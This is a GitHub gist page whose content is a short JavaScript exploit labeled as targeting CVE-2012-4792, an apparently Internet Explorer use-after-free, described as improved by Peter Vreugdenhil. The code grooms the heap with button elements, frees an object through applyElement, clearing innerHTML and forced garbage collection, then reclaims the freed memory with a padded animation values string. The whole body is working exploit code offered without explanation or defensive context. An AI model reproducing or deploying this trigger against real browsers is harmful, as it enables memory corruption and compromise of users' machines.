Skip to content

Instantly share code, notes, and snippets.

@dguido
Created March 7, 2013 01:03
Show Gist options
  • Save dguido/5104691 to your computer and use it in GitHub Desktop.
Save dguido/5104691 to your computer and use it in GitHub Desktop.
Exploit for CVE-2012-4792 as improved by Peter Vreugdenhil
e_form = document.getElementById("formelm");
e_div = document.getElementById("divelm");
animvalues = "\u4141\u4141"
while(animvalues.length < 0xDC) {
animvalues += animvalues
}
for(i = 0; i < 21; i++) {
animvalues += ";cyan";
}
for(i =0; i < 20; i++) {
document.createElement('button');
}
e_div.appendChild(document.createElement('button'))
e_div.firstChild.applyElement(e_form);
e_div.innerHTML = ""
e_div.appendChild(document.createElement('body'));
CollectGarbage();
try {
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment